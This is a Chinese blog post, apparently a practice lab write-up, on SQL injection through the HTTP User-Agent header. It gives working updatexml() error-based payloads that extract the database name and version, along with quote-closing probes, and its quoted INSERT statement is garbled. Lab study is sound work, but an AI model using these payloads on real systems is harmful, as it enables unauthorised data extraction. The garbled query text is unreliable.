HTTP中User-Agent注入
学习user-agent注入找到靶场来训练一下
user agent是指用户代理,简称 UA。
HTTP中User-Agent注入
i n s e r t = " I N S E R T I N T O ′ s e c u r i t y ′ . ′ u a g e n t s ′ ( ′ u a g e n t ′ , ′ i p a d d r e s s ′ , ′ u s e r n a m e ′ ) V A L U E S ( ′ insert="INSERT INTO'security'.'uagents'('uagent','ip_address','username') VALUES (' insert="INSERTINTO′security′.′uagents′(′uagent′,′ipaddress′,′username′)VALUES(′uagent’,' I P ′ , IP', IP′,uname)";
payload内容
updatexml(xml_document,xpath_string,new_value);
第一个参数:XML文档对象名称。//可以用数字代替
第二个参数:XPath字符串。
第三个参数:替换查找到的符合条件的数据。
’ and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or ‘1’='1 //查询当前版本信息
’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) or ‘1’='1 //查询当前数据库名。其他以此类推
作用:使服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。
网站常常通过判断 UA 来给不同的操作系统、不同的浏览器发送不同的页面,因此可能造成某些页面无法在某个浏览器中正常显示,但也可以通过改变UA绕过检测。
先传入参数抓包查看
![在这里插入图片描述](https://img-blog.csdnimg.cn/708ed741866d4626b2f068e08ff205b3.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAd2VpeGluXzUzNTE5MzIw,size_16,color_FFFFFF,t_70,g_se,x_16
看到回显有id 还有请求浏览器参数尝试在User-Agent 更改尝试注入
先加上一个单引号发现报错,尝试闭合后面加上# 发现还是报错
’ #报错
“ # 闭合成功
’)#闭合成功
‘’ # 闭合成功
尝试使用爆破注入 发现没有报错信息回显
一个一个尝试发现发现 ‘’#这个可以使用有回显
他这个有连个sql语句 我们需要使用and连接起来
构造的payload ' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '
‘’
后面的and是连接后面的sql语句
把payload带入请求头中
回显报错注入拿到的数据库信息
。